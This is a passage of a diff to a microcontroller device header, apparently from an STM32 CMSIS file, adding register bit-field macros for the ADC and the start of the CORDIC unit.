ADC_AWD3CR_AWD3CH_Pos) /*!< 0x00002000 */ +#define ADC_AWD3CR_AWD3CH_14 (0x04000UL << ADC_AWD3CR_AWD3CH_Pos) /*!< 0x00004000 */ +#define ADC_AWD3CR_AWD3CH_15 (0x08000UL << ADC_AWD3CR_AWD3CH_Pos) /*!< 0x00008000 */ +#define ADC_AWD3CR_AWD3CH_16 (0x10000UL << ADC_AWD3CR_AWD3CH_Pos) /*!< 0x00010000 */ +#define ADC_AWD3CR_AWD3CH_17 (0x20000UL << ADC_AWD3CR_AWD3CH_Pos) /*!< 0x00020000 */ +#define ADC_AWD3CR_AWD3CH_18 (0x40000UL << ADC_AWD3CR_AWD3CH_Pos) /*!< 0x00040000 */ +#define ADC_AWD3CR_AWD3CH_19 (0x80000UL << ADC_AWD3CR_AWD3CH_Pos) /*!< 0x00080000 */ +#define ADC_AWD3CR_AWD2CH_20 (0x100000UL << ADC_AWD3CR_AWD2CH_Pos) /*!< 0x00100000 */ +#define ADC_AWD3CR_AWD2CH_21 (0x200000UL << ADC_AWD3CR_AWD2CH_Pos) /*!< 0x00200000 */ +#define ADC_AWD3CR_AWD2CH_22 (0x400000UL << ADC_AWD3CR_AWD2CH_Pos) /*!< 0x00400000 */ +#define ADC_AWD3CR_AWD2CH_23 (0x800000UL << ADC_AWD3CR_AWD2CH_Pos) /*!< 0x00800000 */ + +/******************** Bit definition for ADC_DIFSEL register ********************/ +#define ADC_DIFSEL_DIFSEL_Pos (0UL) +#define ADC_DIFSEL_DIFSEL_Msk (0xFFFFFUL << ADC_DIFSEL_DIFSEL_Pos) /*!< 0x000FFFFF */ +#define ADC_DIFSEL_DIFSEL ADC_DIFSEL_DIFSEL_Msk /*!< ADC differential modes for channels 1 to 18 */ +#define ADC_DIFSEL_DIFSEL_0 (0x00001UL << ADC_DIFSEL_DIFSEL_Pos) /*!< 0x00000001 */ +#define ADC_DIFSEL_DIFSEL_1 (0x00002UL << ADC_DIFSEL_DIFSEL_Pos) /*!< 0x00000002 */ +#define ADC_DIFSEL_DIFSEL_2 (0x00004UL << ADC_DIFSEL_DIFSEL_Pos) /*!< 0x00000004 */ +#define ADC_DIFSEL_DIFSEL_3 (0x00008UL << ADC_DIFSEL_DIFSEL_Pos) /*!< 0x00000008 */ +#define ADC_DIFSEL_DIFSEL_4 (0x00010UL << ADC_DIFSEL_DIFSEL_Pos) /*!< 0x00000010 */ +#define ADC_DIFSEL_DIFSEL_5 (0x00020UL << ADC_DIFSEL_DIFSEL_Pos) /*!< 0x00000020 */ +#define ADC_DIFSEL_DIFSEL_6 (0x00040UL << ADC_DIFSEL_DIFSEL_Pos) /*!< 0x00000040 */ +#define ADC_DIFSEL_DIFSEL_7 (0x00080UL << ADC_DIFSEL_DIFSEL_Pos) /*!< 0x00000080 */ +#define ADC_DIFSEL_DIFSEL_8 (0x00100UL << ADC_DIFSEL_DIFSEL_Pos) /*!< 0x00000100 */ +#define ADC_DIFSEL_DIFSEL_9 (0x00200UL << ADC_DIFSEL_DIFSEL_Pos) /*!< 0x00000200 */ +#define ADC_DIFSEL_DIFSEL_10 (0x00400UL << ADC_DIFSEL_DIFSEL_Pos) /*!< 0x00000400 */ +#define ADC_DIFSEL_DIFSEL_11 (0x00800UL << ADC_DIFSEL_DIFSEL_Pos) /*!< 0x00000800 */ +#define ADC_DIFSEL_DIFSEL_12 (0x01000UL << ADC_DIFSEL_DIFSEL_Pos) /*!< 0x00001000 */ +#define ADC_DIFSEL_DIFSEL_13 (0x02000UL << ADC_DIFSEL_DIFSEL_Pos) /*!< 0x00002000 */ +#define ADC_DIFSEL_DIFSEL_14 (0x04000UL << ADC_DIFSEL_DIFSEL_Pos) /*!< 0x00004000 */ +#define ADC_DIFSEL_DIFSEL_15 (0x08000UL << ADC_DIFSEL_DIFSEL_Pos) /*!< 0x00008000 */ +#define ADC_DIFSEL_DIFSEL_16 (0x10000UL << ADC_DIFSEL_DIFSEL_Pos) /*!< 0x00010000 */ +#define ADC_DIFSEL_DIFSEL_17 (0x20000UL << ADC_DIFSEL_DIFSEL_Pos) /*!< 0x00020000 */ +#define ADC_DIFSEL_DIFSEL_18 (0x40000UL << ADC_DIFSEL_DIFSEL_Pos) /*!< 0x00040000 */ +#define ADC_DIFSEL_DIFSEL_19 (0x80000UL << ADC_DIFSEL_DIFSEL_Pos) /*!< 0x00080000 */ + +/******************** Bit definition for ADC_CALFACT register ********************/ +#define ADC_CALFACT_I_APB_ADDR_Pos (0UL) +#define ADC_CALFACT_I_APB_ADDR_Msk (0xFFUL << ADC_CALFACT_I_APB_ADDR_Pos) /*!< 0x000000FF */ +#define ADC_CALFACT_I_APB_ADDR ADC_CALFACT_I_APB_ADDR_Msk /*!< ADC calibration factors in single-ended mode */ +#define ADC_CALFACT_I_APB_ADDR_0 (0x001U << ADC_CALFACT_I_APB_ADDR_Pos) /*!< 0x00000001 */ +#define ADC_CALFACT_I_APB_ADDR_1 (0x002U << ADC_CALFACT_I_APB_ADDR_Pos) /*!< 0x00000002 */ +#define ADC_CALFACT_I_APB_ADDR_2 (0x004U << ADC_CALFACT_I_APB_ADDR_Pos) /*!< 0x00000004 */ +#define ADC_CALFACT_I_APB_ADDR_3 (0x008U << ADC_CALFACT_I_APB_ADDR_Pos) /*!< 0x00000008 */ +#define ADC_CALFACT_I_APB_ADDR_4 (0x010U << ADC_CALFACT_I_APB_ADDR_Pos) /*!< 0x00000010 */ +#define ADC_CALFACT_I_APB_ADDR_5 (0x020U << ADC_CALFACT_I_APB_ADDR_Pos) /*!< 0x00000020 */ +#define ADC_CALFACT_I_APB_ADDR_6 (0x040U << ADC_CALFACT_I_APB_ADDR_Pos) /*!< 0x00000040 */ +#define ADC_CALFACT_I_APB_ADDR_7 (0x080U << ADC_CALFACT_I_APB_ADDR_Pos) /*!< 0x00000080 */ + +#define ADC_CALFACT_I_APB_DATA_Pos (08UL) +#define ADC_CALFACT_I_APB_DATA_Msk (0xFFUL << ADC_CALFACT_I_APB_DATA_Pos) /*!< 0x0000FF00 */ +#define ADC_CALFACT_I_APB_DATA ADC_CALFACT_I_APB_DATA_Msk /*!< ADC calibration factors in differential mode */ +#define ADC_CALFACT_APB_DATA_0 (0x001U << ADC_CALFACT_APB_DATA_Pos) /*!< 0x00000100 */ +#define ADC_CALFACT_APB_DATA_1 (0x002U << ADC_CALFACT_APB_DATA_Pos) /*!< 0x00000200 */ +#define ADC_CALFACT_APB_DATA_2 (0x004U << ADC_CALFACT_APB_DATA_Pos) /*!< 0x00000400 */ +#define ADC_CALFACT_APB_DATA_3 (0x008U << ADC_CALFACT_APB_DATA_Pos) /*!< 0x00000800 */ +#define ADC_CALFACT_APB_DATA_4 (0x010U << ADC_CALFACT_APB_DATA_Pos) /*!< 0x00001000 */ +#define ADC_CALFACT_APB_DATA_5 (0x020U << ADC_CALFACT_APB_DATA_Pos) /*!< 0x00002000 */ +#define ADC_CALFACT_APB_DATA_6 (0x040U << ADC_CALFACT_APB_DATA_Pos) /*!< 0x00004000 */ +#define ADC_CALFACT_APB_DATA_7 (0x080U << ADC_CALFACT_APB_DATA_Pos) /*!< 0x00008000 */ + +#define ADC_CALFACT_VALIDITY_Pos (16UL) +#define ADC_CALFACT_VALIDITY_Msk (0x1UL << ADC_CALFACT_VALIDITY_Pos) /*!< 0x00010000 */ +#define ADC_CALFACT_VALIDITY ADC_CALFACT_VALIDITY_Msk /*!< ADC calibration factors in differential mode */ +#define ADC_CALFACT_LATCH_COEF_Pos (24UL) +#define ADC_CALFACT_LATCH_COEF_Msk (0x1UL << ADC_CALFACT_LATCH_COEF_Pos) /*!< 0x01000000 */ +#define ADC_CALFACT_LATCH_COEF ADC_CALFACT_LATCH_COEF_Msk /*!< ADC calibration factors in differential mode */ +#define ADC_CALFACT_CAPTURE_COEF_Pos (25UL) +#define ADC_CALFACT_CAPTURE_COEF_Msk (0x1UL << ADC_CALFACT_CAPTURE_COEF_Pos) /*!< 0x01000000 */ +#define ADC_CALFACT_CAPTURE_COEF ADC_CALFACT_CAPTURE_COEF_Msk /*!< ADC calibration factors in differential mode */ + +#define ADC4_CALFACT_CALFACT_Pos (0UL) +#define ADC4_CALFACT_CALFACT_Msk (0x7FUL << ADC4_CALFACT_CALFACT_Pos) /*!< 0x0000007F */ +#define ADC4_CALFACT_CALFACT ADC4_CALFACT_CALFACT_Msk /*!< ADC calibration factor in single-ended mode */ +#define ADC4_CALFACT_CALFACT_0 (0x01UL << ADC4_CALFACT_CALFACT_Pos) /*!< 0x00000001 */ +#define ADC4_CALFACT_CALFACT_1 (0x02UL << ADC4_CALFACT_CALFACT_Pos) /*!< 0x00000002 */ +#define ADC4_CALFACT_CALFACT_2 (0x04UL << ADC4_CALFACT_CALFACT_Pos) /*!< 0x00000004 */ +#define ADC4_CALFACT_CALFACT_3 (0x08UL << ADC4_CALFACT_CALFACT_Pos) /*!< 0x00000008 */ +#define ADC4_CALFACT_CALFACT_4 (0x10UL << ADC4_CALFACT_CALFACT_Pos) /*!< 0x00000010 */ +#define ADC4_CALFACT_CALFACT_5 (0x20UL << ADC4_CALFACT_CALFACT_Pos) /*!< 0x00000020 */ +#define ADC4_CALFACT_CALFACT_6 (0x40UL << ADC4_CALFACT_CALFACT_Pos) /*!< 0x00000040 */ + +/******************** Bit definition for ADC_CALFACT2 register ********************/ +#define ADC_CALFACT2_CALFACT_Pos (0UL) +#define ADC_CALFACT2_CALFACT_Msk (0xFFFFFFFFUL << ADC_CALFACT2_CALFACT_Pos) /*!< 0xFFFFFFFF */ +#define ADC_CALFACT2_CALFACT ADC_CALFACT2_CALFACT_Msk /*!< ADC Linearity calibration factors */ +#define ADC_CALFACT2_CALFACT_0 (0x00000001UL << ADC_CALFACT2_CALFACT_Pos) /*!< 0x00000001 */ +#define ADC_CALFACT2_CALFACT_1 (0x00000002UL << ADC_CALFACT2_CALFACT_Pos) /*!< 0x00000002 */ +#define ADC_CALFACT2_CALFACT_2 (0x00000004UL << ADC_CALFACT2_CALFACT_Pos) /*!< 0x00000004 */ +#define ADC_CALFACT2_CALFACT_3 (0x00000008UL << ADC_CALFACT2_CALFACT_Pos) /*!< 0x00000008 */ +#define ADC_CALFACT2_CALFACT_4 (0x00000010UL << ADC_CALFACT2_CALFACT_Pos) /*!< 0x00000010 */ +#define ADC_CALFACT2_CALFACT_5 (0x00000020UL << ADC_CALFACT2_CALFACT_Pos) /*!< 0x00000020 */ +#define ADC_CALFACT2_CALFACT_6 (0x00000040UL << ADC_CALFACT2_CALFACT_Pos) /*!< 0x00000040 */ +#define ADC_CALFACT2_CALFACT_7 (0x00000080UL << ADC_CALFACT2_CALFACT_Pos) /*!< 0x00000080 */ +#define ADC_CALFACT2_CALFACT_8 (0x00000100UL << ADC_CALFACT2_CALFACT_Pos) /*!< 0x00000100 */ +#define ADC_CALFACT2_CALFACT_9 (0x00000200UL << ADC_CALFACT2_CALFACT_Pos) /*!< 0x00000200 */ +#define ADC_CALFACT2_CALFACT_10 (0x00000400UL << ADC_CALFACT2_CALFACT_Pos) /*!< 0x00000400 */ +#define ADC_CALFACT2_CALFACT_11 (0x00000800UL << ADC_CALFACT2_CALFACT_Pos) /*!< 0x00000800 */ +#define ADC_CALFACT2_CALFACT_12 (0x00001000UL << ADC_CALFACT2_CALFACT_Pos) /*!< 0x00001000 */ +#define ADC_CALFACT2_CALFACT_13 (0x00002000UL << ADC_CALFACT2_CALFACT_Pos) /*!< 0x00002000 */ +#define ADC_CALFACT2_CALFACT_14 (0x00004000UL << ADC_CALFACT2_CALFACT_Pos) /*!< 0x00004000 */ +#define ADC_CALFACT2_CALFACT_15 (0x00008000UL << ADC_CALFACT2_CALFACT_Pos) /*!< 0x00008000 */ +#define ADC_CALFACT2_CALFACT_16 (0x00010000UL << ADC_CALFACT2_CALFACT_Pos) /*!< 0x00010000 */ +#define ADC_CALFACT2_CALFACT_17 (0x00020000UL << ADC_CALFACT2_CALFACT_Pos) /*!< 0x00020000 */ +#define ADC_CALFACT2_CALFACT_18 (0x00040000UL << ADC_CALFACT2_CALFACT_Pos) /*!< 0x00040000 */ +#define ADC_CALFACT2_CALFACT_19 (0x00080000UL << ADC_CALFACT2_CALFACT_Pos) /*!< 0x00080000 */ +#define ADC_CALFACT2_CALFACT_20 (0x00100000UL << ADC_CALFACT2_CALFACT_Pos) /*!< 0x00100000 */ +#define ADC_CALFACT2_CALFACT_21 (0x00200000UL << ADC_CALFACT2_CALFACT_Pos) /*!< 0x00200000 */ +#define ADC_CALFACT2_CALFACT_22 (0x00400000UL << ADC_CALFACT2_CALFACT_Pos) /*!< 0x00400000 */ +#define ADC_CALFACT2_CALFACT_23 (0x00800000UL << ADC_CALFACT2_CALFACT_Pos) /*!< 0x00800000 */ +#define ADC_CALFACT2_CALFACT_24 (0x01000000UL << ADC_CALFACT2_CALFACT_Pos) /*!< 0x01000000 */ +#define ADC_CALFACT2_CALFACT_25 (0x02000000UL << ADC_CALFACT2_CALFACT_Pos) /*!< 0x02000000 */ +#define ADC_CALFACT2_CALFACT_26 (0x04000000UL << ADC_CALFACT2_CALFACT_Pos) /*!< 0x04000000 */ +#define ADC_CALFACT2_CALFACT_27 (0x08000000UL << ADC_CALFACT2_CALFACT_Pos) /*!< 0x08000000 */ +#define ADC_CALFACT2_CALFACT_28 (0x10000000UL << ADC_CALFACT2_CALFACT_Pos) /*!< 0x10000000 */ +#define ADC_CALFACT2_CALFACT_29 (0x20000000UL << ADC_CALFACT2_CALFACT_Pos) /*!< 0x20000000 */ +#define ADC_CALFACT2_CALFACT_30 (0x40000000UL << ADC_CALFACT2_CALFACT_Pos) /*!< 0x40000000 */ +#define ADC_CALFACT2_CALFACT_31 (0x80000000UL << ADC_CALFACT2_CALFACT_Pos) /*!< 0x80000000 */ + +/******************** Bit definition for ADC_OR register ********************/ +#define ADC_OR_CHN0SEL_Pos (0UL) +#define ADC_OR_CHN0SEL_Msk (0x1UL << ADC_OR_CHN0SEL_Pos) /*!< 0x00000001 */ +#define ADC_OR_CHN0SEL ADC_OR_CHN0SEL_Msk /*!< ADC Channel 0 selection */ + +/************************* ADC Common registers *****************************/ +/******************** Bit definition for ADC_CSR register ********************/ +#define ADC_CSR_ADRDY_MST_Pos (0UL) +#define ADC_CSR_ADRDY_MST_Msk (0x1UL << ADC_CSR_ADRDY_MST_Pos) /*!< 0x00000001 */ +#define ADC_CSR_ADRDY_MST ADC_CSR_ADRDY_MST_Msk /*!< Master ADC ready */ +#define ADC_CSR_EOSMP_MST_Pos (1UL) +#define ADC_CSR_EOSMP_MST_Msk (0x1UL << ADC_CSR_EOSMP_MST_Pos) /*!< 0x00000002 */ +#define ADC_CSR_EOSMP_MST ADC_CSR_EOSMP_MST_Msk /*!< End of sampling phase flag of the master ADC */ +#define ADC_CSR_EOC_MST_Pos (2UL) +#define ADC_CSR_EOC_MST_Msk (0x1UL << ADC_CSR_EOC_MST_Pos) /*!< 0x00000004 */ +#define ADC_CSR_EOC_MST ADC_CSR_EOC_MST_Msk /*!< End of regular conversion of the master ADC */ +#define ADC_CSR_EOS_MST_Pos (3UL) +#define ADC_CSR_EOS_MST_Msk (0x1UL << ADC_CSR_EOS_MST_Pos) /*!< 0x00000008 */ +#define ADC_CSR_EOS_MST ADC_CSR_EOS_MST_Msk /*!< End of regular sequence flag of the master ADC */ +#define ADC_CSR_OVR_MST_Pos (4UL) +#define ADC_CSR_OVR_MST_Msk (0x1UL << ADC_CSR_OVR_MST_Pos) /*!< 0x00000010 */ +#define ADC_CSR_OVR_MST ADC_CSR_OVR_MST_Msk /*!< Overrun flag of the master ADC */ +#define ADC_CSR_JEOC_MST_Pos (5UL) +#define ADC_CSR_JEOC_MST_Msk (0x1UL << ADC_CSR_JEOC_MST_Pos) /*!< 0x00000020 */ +#define ADC_CSR_JEOC_MST ADC_CSR_JEOC_MST_Msk /*!< End of injected conversion of the master ADC */ +#define ADC_CSR_JEOS_MST_Pos (6UL) +#define ADC_CSR_JEOS_MST_Msk (0x1UL << ADC_CSR_JEOS_MST_Pos) /*!< 0x00000040 */ +#define ADC_CSR_JEOS_MST ADC_CSR_JEOS_MST_Msk /*!< End of injected sequence flag of the master ADC */ +#define ADC_CSR_AWD1_MST_Pos (7UL) +#define ADC_CSR_AWD1_MST_Msk (0x1UL << ADC_CSR_AWD1_MST_Pos) /*!< 0x00000080 */ +#define ADC_CSR_AWD1_MST ADC_CSR_AWD1_MST_Msk /*!< Analog watchdog 1 flag of the master ADC */ +#define ADC_CSR_AWD2_MST_Pos (8UL) +#define ADC_CSR_AWD2_MST_Msk (0x1UL << ADC_CSR_AWD2_MST_Pos) /*!< 0x00000100 */ +#define ADC_CSR_AWD2_MST ADC_CSR_AWD2_MST_Msk /*!< Analog watchdog 2 flag of the master ADC */ +#define ADC_CSR_AWD3_MST_Pos (9UL) +#define ADC_CSR_AWD3_MST_Msk (0x1UL << ADC_CSR_AWD3_MST_Pos) /*!< 0x00000200 */ +#define ADC_CSR_AWD3_MST ADC_CSR_AWD3_MST_Msk /*!< Analog watchdog 3 flag of the master ADC */ +#define ADC_CSR_JQOVF_MST_Pos (10UL) +#define ADC_CSR_JQOVF_MST_Msk (0x1UL << ADC_CSR_JQOVF_MST_Pos) /*!< 0x00000400 */ +#define ADC_CSR_JQOVF_MST ADC_CSR_JQOVF_MST_Msk /*!< Injected context queue overflow flag of the master ADC */ +#define ADC_CSR_LDORDY_MST_Pos (12UL) +#define ADC_CSR_LDORDY_MST_Msk (0x1UL << ADC_CSR_LDORDY_MST_Pos) /*!< 0x00001000 */ +#define ADC_CSR_LDORDY_MST ADC_CSR_LDORDY_MST_Msk /*!< Voltage regulator ready flag of the master ADC */ +#define ADC_CSR_ADRDY_SLV_Pos (16UL) +#define ADC_CSR_ADRDY_SLV_Msk (0x1UL << ADC_CSR_ADRDY_SLV_Pos) /*!< 0x00010000 */ +#define ADC_CSR_ADRDY_SLV ADC_CSR_ADRDY_SLV_Msk /*!< Slave ADC ready */ +#define ADC_CSR_EOSMP_SLV_Pos (17UL) +#define ADC_CSR_EOSMP_SLV_Msk (0x1UL << ADC_CSR_EOSMP_SLV_Pos) /*!< 0x00020000 */ +#define ADC_CSR_EOSMP_SLV ADC_CSR_EOSMP_SLV_Msk /*!< End of sampling phase flag of the slave ADC */ +#define ADC_CSR_EOC_SLV_Pos (18UL) +#define ADC_CSR_EOC_SLV_Msk (0x1UL << ADC_CSR_EOC_SLV_Pos) /*!< 0x00040000 */ +#define ADC_CSR_EOC_SLV ADC_CSR_EOC_SLV_Msk /*!< End of regular conversion of the slave ADC */ +#define ADC_CSR_EOS_SLV_Pos (19UL) +#define ADC_CSR_EOS_SLV_Msk (0x1UL << ADC_CSR_EOS_SLV_Pos) /*!< 0x00080000 */ +#define ADC_CSR_EOS_SLV ADC_CSR_EOS_SLV_Msk /*!< End of regular sequence flag of the slave ADC */ +#define ADC_CSR_OVR_SLV_Pos (20UL) +#define ADC_CSR_OVR_SLV_Msk (0x1UL << ADC_CSR_OVR_SLV_Pos) /*!< 0x00100000 */ +#define ADC_CSR_OVR_SLV ADC_CSR_OVR_SLV_Msk /*!< Overrun flag of the slave ADC */ +#define ADC_CSR_JEOC_SLV_Pos (21UL) +#define ADC_CSR_JEOC_SLV_Msk (0x1UL << ADC_CSR_JEOC_SLV_Pos) /*!< 0x00200000 */ +#define ADC_CSR_JEOC_SLV ADC_CSR_JEOC_SLV_Msk /*!< End of injected conversion of the slave ADC */ +#define ADC_CSR_JEOS_SLV_Pos (22UL) +#define ADC_CSR_JEOS_SLV_Msk (0x1UL << ADC_CSR_JEOS_SLV_Pos) /*!< 0x00400000 */ +#define ADC_CSR_JEOS_SLV ADC_CSR_JEOS_SLV_Msk /*!< End of injected sequence flag of the slave ADC */ +#define ADC_CSR_AWD1_SLV_Pos (23UL) +#define ADC_CSR_AWD1_SLV_Msk (0x1UL << ADC_CSR_AWD1_SLV_Pos) /*!< 0x00800000 */ +#define ADC_CSR_AWD1_SLV ADC_CSR_AWD1_SLV_Msk /*!< Analog watchdog 1 flag of the slave ADC */ +#define ADC_CSR_AWD2_SLV_Pos (24UL) +#define ADC_CSR_AWD2_SLV_Msk (0x1UL << ADC_CSR_AWD2_SLV_Pos) /*!< 0x01000000 */ +#define ADC_CSR_AWD2_SLV ADC_CSR_AWD2_SLV_Msk /*!< Analog watchdog 2 flag of the slave ADC */ +#define ADC_CSR_AWD3_SLV_Pos (25UL) +#define ADC_CSR_AWD3_SLV_Msk (0x1UL << ADC_CSR_AWD3_SLV_Pos) /*!< 0x02000000 */ +#define ADC_CSR_AWD3_SLV ADC_CSR_AWD3_SLV_Msk /*!< Analog watchdog 3 flag of the slave ADC */ +#define ADC_CSR_JQOVF_SLV_Pos (26UL) +#define ADC_CSR_JQOVF_SLV_Msk (0x1UL << ADC_CSR_JQOVF_SLV_Pos) /*!< 0x04000000 */ +#define ADC_CSR_JQOVF_SLV ADC_CSR_JQOVF_SLV_Msk /*!< Injected context queue overflow flag of the slave ADC */ +#define ADC_CSR_LDORDY_SLV_Pos (28UL) +#define ADC_CSR_LDORDY_SLV_Msk (0x1UL << ADC_CSR_LDORDY_SLV_Pos) /*!< 0x10000000 */ +#define ADC_CSR_LDORDY_SLV ADC_CSR_LDORDY_SLV_Msk /*!< Voltage regulator ready flag of the slave ADC */ + +/******************** Bit definition for ADC_CCR register ********************/ +#define ADC_CCR_DUAL_Pos (0UL) +#define ADC_CCR_DUAL_Msk (0x1FUL << ADC_CCR_DUAL_Pos) /*!< 0x0000001F */ +#define ADC_CCR_DUAL ADC_CCR_DUAL_Msk /*!< Dual ADC mode selection */ +#define ADC_CCR_DUAL_0 (0x01UL << ADC_CCR_DUAL_Pos) /*!< 0x00000001 */ +#define ADC_CCR_DUAL_1 (0x02UL << ADC_CCR_DUAL_Pos) /*!< 0x00000002 */ +#define ADC_CCR_DUAL_2 (0x04UL << ADC_CCR_DUAL_Pos) /*!< 0x00000004 */ +#define ADC_CCR_DUAL_3 (0x08UL << ADC_CCR_DUAL_Pos) /*!< 0x00000008 */ +#define ADC_CCR_DUAL_4 (0x10UL << ADC_CCR_DUAL_Pos) /*!< 0x00000010 */ + +#define ADC_CCR_DELAY_Pos (8UL) +#define ADC_CCR_DELAY_Msk (0xFUL << ADC_CCR_DELAY_Pos) /*!< 0x00000F00 */ +#define ADC_CCR_DELAY ADC_CCR_DELAY_Msk /*!< Delay between 2 sampling phases */ +#define ADC_CCR_DELAY_0 (0x1UL << ADC_CCR_DELAY_Pos) /*!< 0x00000100 */ +#define ADC_CCR_DELAY_1 (0x2UL << ADC_CCR_DELAY_Pos) /*!< 0x00000200 */ +#define ADC_CCR_DELAY_2 (0x4UL << ADC_CCR_DELAY_Pos) /*!< 0x00000400 */ +#define ADC_CCR_DELAY_3 (0x8UL << ADC_CCR_DELAY_Pos) /*!< 0x00000800 */ + +#define ADC_CCR_DAMDF_Pos (14UL) +#define ADC_CCR_DAMDF_Msk (0x3UL << ADC_CCR_DAMDF_Pos) /*!< 0x0000C000 */ +#define ADC_CCR_DAMDF ADC_CCR_DAMDF_Msk /*!< Dual ADC mode data format */ +#define ADC_CCR_DAMDF_0 (0x1UL << ADC_CCR_DAMDF_Pos) /*!< 0x00004000 */ +#define ADC_CCR_DAMDF_1 (0x2UL << ADC_CCR_DAMDF_Pos) /*!< 0x00008000 */ + +#define ADC_CCR_PRESC_Pos (18UL) +#define ADC_CCR_PRESC_Msk (0xFUL << ADC_CCR_PRESC_Pos) /*!< 0x003C0000 */ +#define ADC_CCR_PRESC ADC_CCR_PRESC_Msk /*!< ADC prescaler */ +#define ADC_CCR_PRESC_0 (0x1UL << ADC_CCR_PRESC_Pos) /*!< 0x00040000 */ +#define ADC_CCR_PRESC_1 (0x2UL << ADC_CCR_PRESC_Pos) /*!< 0x00080000 */ +#define ADC_CCR_PRESC_2 (0x4UL << ADC_CCR_PRESC_Pos) /*!< 0x00100000 */ +#define ADC_CCR_PRESC_3 (0x8UL << ADC_CCR_PRESC_Pos) /*!< 0x00200000 */ + +#define ADC_CCR_VREFEN_Pos (22UL) +#define ADC_CCR_VREFEN_Msk (0x1UL << ADC_CCR_VREFEN_Pos) /*!< 0x00400000 */ +#define ADC_CCR_VREFEN ADC_CCR_VREFEN_Msk /*!< VREFINT enable */ +#define ADC_CCR_VSENSEEN_Pos (23UL) +#define ADC_CCR_VSENSEEN_Msk (0x1UL << ADC_CCR_VSENSEEN_Pos) /*!< 0x00800000 */ +#define ADC_CCR_VSENSEEN ADC_CCR_VSENSEEN_Msk /*!< Temperature sensor enable */ +#define ADC_CCR_VBATEN_Pos (24UL) +#define ADC_CCR_VBATEN_Msk (0x1UL << ADC_CCR_VBATEN_Pos) /*!< 0x01000000 */ +#define ADC_CCR_VBATEN ADC_CCR_VBATEN_Msk /*!< VBAT enable */ +#define ADC_CCR_LFMEN_Pos (25UL) +#define ADC_CCR_LFMEN_Msk (0x1UL << ADC_CCR_LFMEN_Pos) /*!< 0x02000000 */ +#define ADC_CCR_LFMEN ADC_CCR_LFMEN_Msk /*!< Low Frequency Mode Enable, specific ADC4*/ +#define ADC_CCR_VDDCOREN_Pos (26UL) +#define ADC_CCR_VDDCOREN_Msk (0x1UL << ADC_CCR_VDDCOREN_Pos) /*!< 0x04000000 */ +#define ADC_CCR_VDDCOREN ADC_CCR_VDDCOREN_Msk /*!< VDDCode enable */ + +/******************** Bit definition for ADC_CDR register *******************/ +#define ADC_CDR_RDATA_MST_Pos (0UL) +#define ADC_CDR_RDATA_MST_Msk (0xFFFFUL << ADC_CDR_RDATA_MST_Pos) /*!< 0x0000FFFF */ +#define ADC_CDR_RDATA_MST ADC_CDR_RDATA_MST_Msk /*!< ADC multimode master group regular conversion data */ + +#define ADC_CDR_RDATA_SLV_Pos (16UL) +#define ADC_CDR_RDATA_SLV_Msk (0xFFFFUL << ADC_CDR_RDATA_SLV_Pos) /*!< 0xFFFF0000 */ +#define ADC_CDR_RDATA_SLV ADC_CDR_RDATA_SLV_Msk /*!< ADC multimode slave group regular conversion data */ + +/******************** Bit definition for ADC_CDR2 register ******************/ +#define ADC_CDR2_RDATA_ALT_Pos (0UL) +#define ADC_CDR2_RDATA_ALT_Msk (0xFFFFFFFFUL << ADC_CDR2_RDATA_ALT_Pos) /*!< 0xFFFFFFFF */ +#define ADC_CDR2_RDATA_ALT ADC_CDR2_RDATA_ALT_Msk /*!< Regular data of the master/slave alternated ADCs */ + +/******************************************************************************/ +/* */ +/* CORDIC calculation unit */ +/* */ +/******************************************************************************/ +/******************* Bit definition for CORDIC_CSR register *****************/ +#define CORDIC_CSR_FUNC_Pos (0UL) +#define CORDIC_CSR_FUNC_Msk (0xFUL << CORDIC_CSR_FUNC_Pos) /*!< 0x0000000F */ +#define CORDIC_CSR_FUNC CORDIC_CSR_FUNC_Msk /*!< Function */ +#define CORDIC_CSR_FUNC_0 (0x1UL << CORDIC_CSR_FUNC_Pos) /*!< 0x00000001 */ +#define CORDIC_CSR_FUNC_1 (0x2UL << CORDIC_CSR_FUNC_Pos) /*!< 0x00000002 */ +#define CORDIC_CSR_FUNC_2 (0x4UL << CORDIC_CSR_FUNC_Pos) /*!< 0x00000004 */ +#define CORDIC_CSR_FUNC_3 (0x8UL << CORDIC_CSR_FUNC_Pos) /*!< 0x00000008 */ +#define CORDIC_CSR_PRECISION_Pos (4UL) +#define CORDIC_CSR_PRECISION_Msk (0xFUL << CORDIC_CSR_PRECISION_Pos) /*!< 0x000000F0 */ +#define CORDIC_CSR_PRECISION CORDIC_CSR_PRECISION_Msk /*!< Precision */ +#define CORDIC_CSR_PRECISION_0 (0x1UL << CORDIC_CSR_PRECISION_Pos) /*!< 0x00000010 */ +#define CORDIC_CSR_PRECISION_1 (0x2UL << CORDIC_CSR_PRECISION_Pos) /*!< 0x00000020 */ +#define CORDIC_CSR_PRECISION_2 (0x4UL << CORDIC_CSR_PRECISION_Pos) /*!< 0x00000040 */ +#define CORDIC_CSR_PRECISION_3 (0x8UL << CORDIC_CSR_PRECISION_Pos) /*!< 0x00000080 */ +#define CORDIC_CSR_SCALE_Pos (8UL) +#define CORDIC_CSR_SCALE_Msk (0x7UL << CORDIC_CSR_SCALE_Pos) /*!< 0x00000700 */ +#define CORDIC_CSR_SCALE CORDIC_CSR_SCALE_Msk /*!< Scaling factor */ +#define CORDIC_CSR_SCALE_0 (0x1UL << CORDIC_CSR_SCALE_Pos) /*!< 0x00000100 */ +#define CORDIC_CSR_SCALE_1 (0x2UL << CORDIC_CSR_SCALE_Pos) /*!< 0x00000200 */ +#define CORDIC_CSR_SCALE_2 (0x4UL << CORDIC_CSR_SCALE_Pos) /*!< 0x00000400 */ +#define CORDIC_CSR_IEN_Pos (16UL) +#define CORDIC_CSR_IEN_Msk (0x1UL << CORDIC_CSR_IEN_Pos) /*!< 0x00010000 */ +#define CORDIC_CSR_IEN CORDIC_CSR_IEN_Msk /*!< Interrupt Enable */ +#define CORDIC_CSR_DMAREN_Pos (17UL) +#define CORDIC_CSR_DMAREN_Msk (0x1UL << CORDIC_CSR_DMAREN_Pos) /*!< 0x00020000 */ +#define CORDIC_CSR_DMAREN CORDIC_CSR_DMAREN_Msk /*!< DMA Read channel Enable */ +#define CORDIC_CSR_DMAWEN_Pos (18UL) +#define CORDIC_CSR_DMAWEN_Msk (0x1UL << CORDIC_CSR_DMAWEN_Pos) /*!< 0x00040000 */ +#define CORDIC_CSR_DMAWEN CORDIC_CSR_DMAWEN_Msk /*!< DMA Write channel Enable */ +#define CORDIC_CSR_NRES_Pos (19UL) +#define CORDIC_CSR_NRES_Msk (0x1UL << CORDIC_CSR_NRES_Pos) /*!< 0x00080000 */ +#define CORDIC_CSR_NRES 